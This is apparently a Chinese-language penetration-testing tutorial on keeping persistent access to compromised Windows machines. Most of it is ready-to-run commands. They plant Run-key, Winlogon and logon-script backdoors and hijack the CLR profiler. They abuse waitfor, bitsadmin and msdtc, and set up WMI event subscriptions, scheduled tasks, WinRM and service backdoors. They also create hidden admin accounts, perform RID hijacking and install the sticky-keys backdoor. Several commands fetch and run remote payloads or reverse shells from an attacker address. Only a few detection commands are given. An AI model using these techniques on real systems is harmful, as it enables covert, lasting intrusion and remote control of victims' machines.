注册表类:

普通注册表后门
在一般用户权限下,通常是将要执行的后门程序或脚本路径填写到如下注册表的键值中HKCU\Software\Microsoft\Windows\CurrentVersion\Run,键名任意。普通权限即可运行
cmd下操作:

  1. reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" /v Pentestlab /t REG_SZ /d "C:\Users\administrator\desktop\pentestlab.exe

powershell下操作:

  1. Set-ItemProperty "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run\" "Pentestlab" "C:\Users\administrator\desktop\pentestlab.exe" -Forc

电脑重启后上线:
image.png
除了上面的位置之外还有下面的位置,可以让我们实现权限维持:

  1. HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce
  2. HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServices
  3. HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce

上面的是针对于用户的注册表,下面的这几个是针对本地计算机的注册表:

  1. HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
  2. HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce
  3. HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices
  4. HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce

添加载荷的方法的自然也和之前的一样了,只是所处的位置不同罢了,注意service的程序。而防御与检测策略也是比较好做的,在这些的注册表的位置查看是否有可疑程序即可。

Winlogon Helper DLL后门

Winlogon是一个Windows组件,用来处理各种活动,如登录、注销、身份验证期间加载用户配置文件、关闭、锁定屏幕等。这种行为由注册表管理,该注册表定义在Windows登录期间启动哪些进程。所以我们可以依靠这个注册表来进行权限维持。
注册表位置如下:

  1. HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell
  2. HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit
  3. HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify

其中的userinit与shell主要是来运行exe程序,而notify则用来执行dll文件(Windows 7之前)。

而userinit又可以通过powershell的方式,来实现无文件后门,用法如下:

  1. PS C:\Users\Administrator> Set-ItemProperty "HKLM:\SOFTWARE\Microsoft\WINDOWS NT\CurrentVersion\Winlogon" -name Userinit -value "C:\Windows\system32\userinit.exe,powershell.exe -nop -w hidden -c `"IEX ((new-object net.webclient).downloadstring(`'http://192.168.31.109:8080/a`'))`""

image.png
注意代码引号的转义问题。可以使用反引号绕过。

Logon Scripts后门

注册表路径: HKCU\Environment\
创建字符串键值: UserInitMprLogonScript
cmd下操作:

  1. reg add "HKCU:\Environment\" /v UserInitMprLogonScript /t REG_SZ /d "C:\1.bat"

powershell下操作:

  1. Set-ItemProperty "HKCU:\Environment\" "UserInitMprLogonScript" "C:\1.bat" -Force

bat内容如下:

  1. powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.31.109:8080/a'))"

image.pngLogon Scripts是优先于很多杀毒软件启动(部分杀毒是优先于他启动)的,所以可以通过这种方式将powershell命令写到bat脚本中,达到免杀隐藏启动的效果。
缺点就是需要留文件,并不方便。

注册表之CLR

CLR全称为Common Language Runtime(公共语言运行库),是一个可由多种编程语言使用的运行环境。
要使clr能够劫持系统中全部.net程序,需要设置环境变量,要是只用命令行,可以使用wmi。
直接给出批处理文件:

  1. wmic ENVIRONMENT create name="COR_ENABLE_PROFILING",username="%username%",VariableValue="1"
  2. wmic ENVIRONMENT create name="COR_PROFILER",username="%username%",VariableValue="{11111111-1111-1111-1111-111111111111}"
  3. certutil.exe -urlcache -split -f yourdll
  4. certutil.exe -urlcache -split -f yourdll delete
  5. SET KEY=HKEY_CURRENT_USER\Software\Classes\CLSID\{11111111-1111-1111-1111-111111111111}\InProcServer32
  6. REG.EXE ADD %KEY% /VE /T REG_SZ /D "%CD%\msg.dll" /F
  7. REG.EXE ADD %KEY% /V ThreadingModel /T REG_SZ /D Apartment /F

x64:

  1. wmic ENVIRONMENT create name="COR_ENABLE_PROFILING",username="%username%",VariableValue="1"
  2. wmic ENVIRONMENT create name="COR_PROFILER",username="%username%",VariableValue="{11111111-1111-1111-1111-111111111111}"
  3. certutil.exe -urlcache -split -f https://raw.githubusercontent.com/3gstudent/test/master/msg.dll
  4. certutil.exe -urlcache -split -f https://raw.githubusercontent.com/3gstudent/test/master/msg.dll delete
  5. certutil.exe -urlcache -split -f https://raw.githubusercontent.com/3gstudent/test/master/msg_x64.dll
  6. certutil.exe -urlcache -split -f https://raw.githubusercontent.com/3gstudent/test/master/msg_x64.dll delete
  7. SET KEY=HKEY_CURRENT_USER\Software\Classes\CLSID\{11111111-1111-1111-1111-111111111111}\InProcServer32
  8. REG.EXE ADD %KEY% /VE /T REG_SZ /D "%CD%\msg_x64.dll" /F
  9. REG.EXE ADD %KEY% /V ThreadingModel /T REG_SZ /D Apartment /F
  10. SET KEY=HKEY_CURRENT_USER\Software\Classes\WoW6432Node\CLSID\{11111111-1111-1111-1111-111111111111}\InProcServer32
  11. REG.EXE ADD %KEY% /VE /T REG_SZ /D "%CD%\msg.dll" /F
  12. REG.EXE ADD %KEY% /V ThreadingModel /T REG_SZ /D Apartment /F

image.png

内部工具类

waitfor.exe

该工具用来同步网络中计算机,可以发送或等待系统上的信号。
支持下列操作系统:

  1. Windows Server 2003
  2. Windows Vista
  3. Windows XP
  4. Windows Server 2008
  5. Windows 7
  6. Windows Server 2003 with SP2
  7. Windows Server 2003 R2
  8. Windows Server 2008 R2
  9. Windows Server 2000
  10. Windows Server 2012
  11. Windows Server 2003 with SP1
  12. Windows 8
  13. Windows 10

首先新建一个powershell文件内容为:

  1. start-process calc.execmd /c waitfor persist `&`& powershell -executionpolicy bypass -file c:\test\1.ps1

然后开启等待:

  1. waitfor persist1 && powershell -executionpolicy bypass -file c:\test\1.ps1

另一个cmd

  1. waitfor /s 127.0.0.1 /si persist1

即可成功调用cmd。
注意,低版本powershell会报错:
image.png
或者使用三好学生师傅的脚本:

  1. <#
  2. A quick POC to use Waitfor.exe to maintain persistence
  3. Author: 3gstudent @3gstudent
  4. Learn from:https://twitter.com/danielhbohannon/status/872258924078092288
  5. #>
  6. $StaticClass = New-Object Management.ManagementClass('root\cimv2', $null,$null)
  7. $StaticClass.Name = 'Win32_Backdoor'
  8. $StaticClass.Put()| Out-Null
  9. $StaticClass.Properties.Add('Code' , "cmd /c start calc.exe ```&```& taskkill /f /im powershell.exe ```&```& waitfor persist ```&```& powershell -nop -W Hidden -E JABlAHgAZQBjAD0AKABbAFcAbQBpAEMAbABhAHMAcwBdACAAJwBXAGkAbgAzADIAXwBCAGEAYwBrAGQAbwBvAHIAJwApAC4AUAByAG8AcABlAHIAdABpAGUAcwBbACcAQwBvAGQAZQAnAF0ALgBWAGEAbAB1AGUAOwAgAGkAZQB4ACAAJABlAHgAZQBjAA==")
  10. $StaticClass.Put() | Out-Null
  11. $exec=([WmiClass] 'Win32_Backdoor').Properties['Code'].Value;
  12. iex $exec | Out-Null

然后使用下面的方式开启:
powershell -executionpolicy bypass .\test.ps1
waitfor /s 127.0.0.1 /si persist
即可看到效果。
image.png

bitsadmin

win7之后,进行上传下载的工具。
利用方法如下:

  1. PS C:\Users\Administrator> bitsadmin /create backdoor
  2. PS C:\Users\Administrator> bitsadmin /addfile backdoor c:\windows\system32\calc.exe c:\Users\administrator\Desktop\calc.exe
  3. PS C:\Users\Administrator> bitsadmin.exe /SetNotifyCmdLine backdoor regsvr32.exe "/u /s /i:http://192.168.31.109/calc.sct scrobj.dll"
  4. PS C:\Users\Administrator> bitsadmin /Resume backdoor

image.png
当然,换成msf的sct也就可以上线了。白名单运行程序不仅仅只有regsvr32,还有别的很多,可以去查下资料
可以使用下面的方法进行检测:
PS C:\Users\Administrator> bitsadmin /list /verbose
image.png

msdtc加载后门

msdtc.exe 存在于组环境和域环境中,是微软的一个分布式事物处理协调器服务。要求处于工作组或者域环境内。
image.png
因为他在启动时会默认加载oci.dll,SQLLib80.dll和xa80.dll。Windows系统默认不包含oci.dll。
我们将后门dll将其重命名为oci.dll,并将其放置在%SystemRoot%\system32\中,那么重启时,就会加载我们的dll,然后得到一个session。
注意,dll版本要根据目标机器的位数来生成。

  1. msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.31.109 LPORT=4444 -f dll > oci.dll
  2. cmdpowershell下执行
  3. taskkill /f /im msdtc.exe
  4. net start msdtc

即可获得会话。

image.png

wmi执行后门技术

WMI可以描述为一组管理Windows系统的方法和功能。我们可以把它当作API来与Windows系统进行相互交流。WMI在渗透测试中的价值在于它不需要下载和安装, 因为WMI是Windows系统自带功能。而且整个运行过程都在计算机内存中发生,不会留下任何痕迹。
在使用wmi进行权限维持的时候,我们一般用到下面的三个类:

  1. __EventFilter
  2. EventConsumer
  3. __FilterToConsumerBinding

下面我们看下他的利用方式,首先是mof。
msf先生成一个web的监听,然后使用msf生成文件。

  1. irbputs generate_mof("Metasploit1","regsvr32 /s /n /u /i:http://192.168.31.109:8080/RjdtuMLURHfkH.sct scrobj.dll")

image.png
然后编译mof
mofcomp.exe .\Metasploit.mof
image.png
即可得到会话。第二种方式就是使用wmi事件。
命令如下:

  1. wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="PentestLab", EventNameSpace="root\cimv2",QueryLanguage="WQL", Query="SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"
  2. wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE Name="PentestLab", ExecutablePath="C:\users\administrator\desktop\msf.exe",CommandLineTemplate="C:\users\administrator\desktop\msf.exe"
  3. wmic /NAMESPACE:"\\root\subscription" PATH __FilterToConsumerBinding CREATE Filter="__EventFilter.Name=\"PentestLab\"", Consumer="CommandLineEventConsumer.Name=\"PentestLab\""

然后重启电脑,60s后反弹会话。
image.png

powershell版本:

  1. $FilterArgs = @{name='Pentestlab-WMI';
  2. EventNameSpace='root\CimV2';
  3. QueryLanguage="WQL";
  4. Query="SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 240 AND TargetInstance.SystemUpTime < 325"};
  5. $Filter=New-CimInstance -Namespace root/subscription -ClassName __EventFilter -Property $FilterArgs
  6. $ConsumerArgs = @{name='Pentestlab-WMI';
  7. CommandLineTemplate="$($Env:SystemRoot)\System32\pentestlab.exe";}
  8. $Consumer=New-CimInstance -Namespace root/subscription -ClassName CommandLineEventConsumer -Property $ConsumerArgs
  9. $FilterToConsumerArgs = @{
  10. Filter = [Ref] $Filter;
  11. Consumer = [Ref] $Consumer;
  12. }
  13. $FilterToConsumerBinding = New-CimInstance -Namespace root/subscription -ClassName __FilterToConsumerBinding -Property $FilterToConsumerArgs

如果想要删除的话,可以使用下面的命令:

  1. $EventConsumerToCleanup = Get-WmiObject -Namespace root/subscription -Class CommandLineEventConsumer -Filter "Name = 'Pentestlab-WMI'"
  2. $EventFilterToCleanup = Get-WmiObject -Namespace root/subscription -Class __EventFilter -Filter "Name = 'Pentestlab-WMI'"
  3. $FilterConsumerBindingToCleanup = Get-WmiObject -Namespace root/subscription -Query "REFERENCES OF {$($EventConsumerToCleanup.__RELPATH)} WHERE ResultClass = __FilterToConsumerBinding"
  4. $FilterConsumerBindingToCleanup | Remove-WmiObject
  5. $EventConsumerToCleanup | Remove-WmiObject
  6. $EventFilterToCleanup | Remove-WmiObject

powershell版本的也可以直接使用别人写好的脚本:https://github.com/n0pe-sled/WMI-Persistence/blob/master/WMI-Persistence.ps1
当然以下工具都具有该功能:Empire、SharpSploit、PoshC2、PowerLurk、WMIPersist、
而对于此类攻击的检测,就查看上面所说的那三种类就可以了。

  1. #List Event Filters
  2. Get-WMIObject -Namespace root\Subscription -Class __EventFilter
  3. #List Event Consumers
  4. Get-WMIObject -Namespace root\Subscription -Class __EventConsumer
  5. #List Event Bindings
  6. Get-WMIObject -Namespace root\Subscription -Class __FilterToConsumerBinding

image.png
且能发现木马的踪迹
image.png

计划任务

经典中的经典。
schtasks.exe /Create /TN update /TR xx(你要执行的命令) /SC ONLOGON /F /RL HIGHEST
demo:

  1. C:\Users\Administrator>schtasks /create /sc minute /mo 1 /tn "chrome" /tr "wscript.exe C:\users\Administrator\Desktop\msf.vbs"

image.png
或者使用powershell无文件加载也是可以的。

WinRM服务后门

基本原理是使用Windows 的远程管理管理服务WinRM,组合HTTP.sys驱动自带的端口复用功能,一起实现正向的端口复用后门。后门连接是需要目标服务器的高权用户的明文密码的,需要先抓取相应的明文密码才可部署后门。
下面是部署方法:

  1. winrm set winrm/config/service @{EnableCompatibilityHttpListener="true"} //开启监听
  2. winrm set winrm/config/Listener?Address=*+Transport=HTTP @{Port="80"} //更改wimrm的端口,防止被怀疑

image.png
查看状态:
winrm e winrm/config/listener
image.png
然后链接后门,本地做如下设置:

  1. winrm quickconfig -q
  2. winrm set winrm/config/Client @{TrustedHosts="*"}

然后连接后门,获得cmd环境。

  1. C:\Users\Administrator>winrs -r:http://192.168.31.94 -u:administrator -p:abc123! cmd

如果是非管理员用户,用下面的方法修改注册表即可。

  1. reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f

修改系统服务
使用sc制作权限维持:

  1. #创建Fax传真服务,并设置为自启动
  2. sc create Fax binPath= "C:\123123.exe" start= "auto" obj= "LocalSystem"
  3. #增加服务描述
  4. sc descrīption Fax
  5. #启动
  6. sc start Fax

image.png
重启获得会话。
image.png
记得监听添加下面的参数防止假死:

  1. set autorunscript migrate -f

dll劫持

这个,看个人的思路以及编码能力了,比如劫持个安全狗??
image.png

远程登录类

影子账户、克隆账户、激活guest

  1. net user test$ 123456 /add&&net localgroup administrators test$ /add

image.png

  1. net user guest /active:yes
  2. net user guest 1234
  3. net localgroup administrators guest /add

rid_hijack

通过劫持有效帐户的RID来在注册表中进行修改,以使Guest帐户成为管理员

  1. msf5 post(windows/manage/rid_hijack) > set session 5
  2. session => 5
  3. msf5 post(windows/manage/rid_hijack) > set getsystem true
  4. getsystem => true
  5. msf5 post(windows/manage/rid_hijack) > set guest_account true
  6. guest_account => true
  7. msf5 post(windows/manage/rid_hijack) > set password 123!@ASQs
  8. password => 123!@ASQs
  9. msf5 post(windows/manage/rid_hijack) > exploit

image.png

然后impacket链接

image.png

shift后门

  1. C:\Windows\System32\sethc.exe 粘滞键,启动快捷键:按五次shift
  2. C:\Windows\System32\utilman.exe 设置中心,启动快捷键:Windows+U
  1. cd c:\Windows\System32
  2. move sethc.exe sethc.exe.bak
  3. copy cmd.exe sethc.exe

高版本的话就映像劫持吧。